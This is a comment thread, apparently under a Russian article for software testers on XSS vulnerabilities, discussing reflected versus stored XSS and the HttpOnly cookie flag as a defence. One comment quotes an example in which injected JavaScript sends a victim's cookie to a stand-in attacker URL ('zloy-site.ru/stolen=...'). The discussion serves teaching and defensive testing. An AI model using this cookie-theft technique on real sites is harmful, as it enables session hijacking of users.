Комментарии 8
Спасибо за статью! Очень понятно написано.
Спасибо. Подписалась )).
Ее суть довольно проста, злоумышленнику удается внедрить на страницу JavaScript-код, который не был предусмотрен разработчиками
так а каким же образом внедряется JS на сайт, да так, чтобы у другого пользователя он отработал? с приведенными примерами поиска и URL не понимаю как это возможно.
Если говорить про конкретны пример, то на такую ссылку злоумышленнику придется человека как-то отправить. Либо редирект на свой сайт подложить и заманить на свой сайт. Либо сразу прислать «нехорошее письма» с ссылкой на нужный URL. Неподготовленный пользователь вполне себе может повестись на такое.
Что касается общих примеров, помимо URL самую XSS-инъекцию можно же сохранить, например, как сообщение. На том же форуме или в общем чате. Тогда любой пользователь, открывший нужную страницу получит это сообщение и JS-код.
Тут стоит различать активную и пассивную xss, в статье пример пассивной, такая уязвимость реализуется через отправку ссылки жертве. Активные xss это как правило комментарии, темы, посты на форумах итд. Когда введённые вами данные сохраняются в БД и выдаются пользователю.
Теперь допустим, что злоумышленнику удастся внедрить JavaScript-код на страницу веб-приложения. У любого пользователя, который теперь зайдет на эту страницу, будет исполняться в браузере JavaScript-код. Он будет читать значение cookie этого пользователя (теперь уже жертвы). Осталось только передать это значение злоумышленнику — и дело сделано. Но как передать значение, ведь вредоносный код исполняется в браузере жертвы?
Все довольно просто. Этот же JavaScript-код может создать AJAX-запрос на удаленный сервер. Например, на вот такой URL: www.zloy-site.ru/stolen={значение_cookie_жертвы}
Тут наверно стоит уточнить, что это возможно, только если авторизационная кука не имеет флага HttpOnly, если установить такой флаг, то доступа к куке из js не будет и соответственно вредоносный скрипт не сможет добавить ее к своему вредоносному запросу.
Что такое XSS-уязвимость и как тестировщику не пропустить ее